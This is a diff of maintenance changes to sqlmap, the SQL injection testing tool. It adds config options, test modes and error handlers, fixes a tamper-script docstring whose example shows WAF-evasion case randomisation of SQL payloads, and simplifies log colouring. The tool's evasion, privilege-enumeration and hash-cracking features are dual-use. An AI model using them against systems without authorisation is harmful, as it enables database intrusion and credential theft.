elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID):
|
||||||
privileges.add(privilege)
|
privileges.add(privilege)
|
||||||
|
|
||||||
# In MySQL < 5.0 we get Y if the privilege is
|
# In MySQL < 5.0 we get Y if the privilege is
|
||||||
|
|||||||
@@ -693,6 +693,9 @@ trafficFile =
|
|||||||
# Set predefined answers (e.g. "quit=N,follow=N").
|
# Set predefined answers (e.g. "quit=N,follow=N").
|
||||||
answers =
|
answers =
|
||||||
|
|
||||||
|
# Parameter(s) containing Base64 encoded data
|
||||||
|
base64Parameter =
|
||||||
|
|
||||||
# Never ask for user input, use the default behaviour.
|
# Never ask for user input, use the default behaviour.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
batch = False
|
batch = False
|
||||||
|
|||||||
@@ -173,6 +173,9 @@ def main():
|
|||||||
elif conf.vulnTest:
|
elif conf.vulnTest:
|
||||||
from lib.core.testing import vulnTest
|
from lib.core.testing import vulnTest
|
||||||
os._exitcode = 1 - (vulnTest() or 0)
|
os._exitcode = 1 - (vulnTest() or 0)
|
||||||
|
elif conf.bedTest:
|
||||||
|
from lib.core.testing import bedTest
|
||||||
|
os._exitcode = 1 - (bedTest() or 0)
|
||||||
elif conf.fuzzTest:
|
elif conf.fuzzTest:
|
||||||
from lib.core.testing import fuzzTest
|
from lib.core.testing import fuzzTest
|
||||||
fuzzTest()
|
fuzzTest()
|
||||||
@@ -332,6 +335,12 @@ def main():
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
|
elif all(_ in excMsg for _ in ("Resource temporarily unavailable", "os.fork()", "dictionaryAttack")):
|
||||||
|
errMsg = "there has been a problem while running the multiprocessing hash cracking. "
|
||||||
|
errMsg += "Please rerun with option '--threads=1'"
|
||||||
|
logger.critical(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
elif "can't start new thread" in excMsg:
|
elif "can't start new thread" in excMsg:
|
||||||
errMsg = "there has been a problem while creating new thread instance. "
|
errMsg = "there has been a problem while creating new thread instance. "
|
||||||
errMsg += "Please make sure that you are not running too many processes"
|
errMsg += "Please make sure that you are not running too many processes"
|
||||||
@@ -351,6 +360,11 @@ def main():
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
|
elif all(_ in excMsg for _ in ("ntlm", "socket.error, err", "SyntaxError")):
|
||||||
|
errMsg = "wrong initialization of python-ntlm detected (using Python2 syntax)"
|
||||||
|
logger.critical(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
elif all(_ in excMsg for _ in ("drda", "to_bytes")):
|
elif all(_ in excMsg for _ in ("drda", "to_bytes")):
|
||||||
errMsg = "wrong initialization of drda detected (using Python3 syntax)"
|
errMsg = "wrong initialization of drda detected (using Python3 syntax)"
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
@@ -362,6 +376,11 @@ def main():
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
|
elif any(_ in excMsg for _ in ("unable to access item 'liveTest'",)):
|
||||||
|
errMsg = "detected usage of files from different versions of sqlmap"
|
||||||
|
logger.critical(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
elif kb.get("dumpKeyboardInterrupt"):
|
elif kb.get("dumpKeyboardInterrupt"):
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ def tamper(payload, **kwargs):
|
|||||||
>>> tamper('function()')
|
>>> tamper('function()')
|
||||||
'FuNcTiOn()'
|
'FuNcTiOn()'
|
||||||
>>> tamper('SELECT id FROM `user`')
|
>>> tamper('SELECT id FROM `user`')
|
||||||
'SeLeCt id FrOm `user`'
|
'SeLeCt Id FrOm `user`'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = payload
|
retVal = payload
|
||||||
|
|||||||
Vendored
+6
-50
@@ -156,58 +156,14 @@ class ColorizingStreamHandler(logging.StreamHandler):
|
|||||||
params.append('1')
|
params.append('1')
|
||||||
|
|
||||||
if params and message:
|
if params and message:
|
||||||
match = re.search(r"\A(\s+)", message)
|
if message.lstrip() != message:
|
||||||
prefix = match.group(1) if match else ""
|
prefix = re.search(r"\s+", message).group(0)
|
||||||
message = message[len(prefix):]
|
message = message[len(prefix):]
|
||||||
|
|
||||||
match = re.search(r"\[([A-Z ]+)\]", message) # log level
|
|
||||||
if match:
|
|
||||||
level = match.group(1)
|
|
||||||
if message.startswith(self.bold):
|
|
||||||
message = message.replace(self.bold, "")
|
|
||||||
reset = self.reset + self.bold
|
|
||||||
params.append('1')
|
|
||||||
else:
|
|
||||||
reset = self.reset
|
|
||||||
message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
|
|
||||||
|
|
||||||
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
|
|
||||||
if match:
|
|
||||||
time = match.group(1)
|
|
||||||
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
|
|
||||||
|
|
||||||
match = re.search(r"\[(#\d+)\]", message) # counter
|
|
||||||
if match:
|
|
||||||
counter = match.group(1)
|
|
||||||
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
|
|
||||||
|
|
||||||
if level != "PAYLOAD":
|
|
||||||
if any(_ in message for _ in ("parsed DBMS error message",)):
|
|
||||||
match = re.search(r": '(.+)'", message)
|
|
||||||
if match:
|
|
||||||
string = match.group(1)
|
|
||||||
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
|
||||||
else:
|
|
||||||
match = re.search(r"\bresumed: '(.+\.\.\.)", message)
|
|
||||||
if match:
|
|
||||||
string = match.group(1)
|
|
||||||
message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
|
||||||
else:
|
|
||||||
match = re.search(r" \('(.+)'\)\Z", message)
|
|
||||||
if match:
|
|
||||||
string = match.group(1)
|
|
||||||
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
|
||||||
else:
|
|
||||||
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
|
|
||||||
string = match.group(1)
|
|
||||||
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
|
||||||
else:
|
else:
|
||||||
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
|
prefix = ""
|
||||||
|
|
||||||
if prefix:
|
message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params),
|
||||||
message = "%s%s" % (prefix, message)
|
'm', message, self.reset)))
|
||||||
|
|
||||||
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
|
|
||||||
|
|
||||||
return message
|
return message
|
||||||
|
|
||||||
|
|||||||
Vendored
+3
@@ -81,6 +81,9 @@ COLORS = dict(
|
|||||||
|
|
||||||
COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS))
|
COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS))
|
||||||
|
|
||||||
|
# Reference: https://misc.flogisoft.com/bash/tip_colors_and_formatting
|
||||||
|
COLORS["lightgrey"] = 37
|
||||||
|
COLORS["darkgrey"] = 90
|
||||||
|
|
||||||
RESET = '\033[0m'
|
RESET = '\033[0m'
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user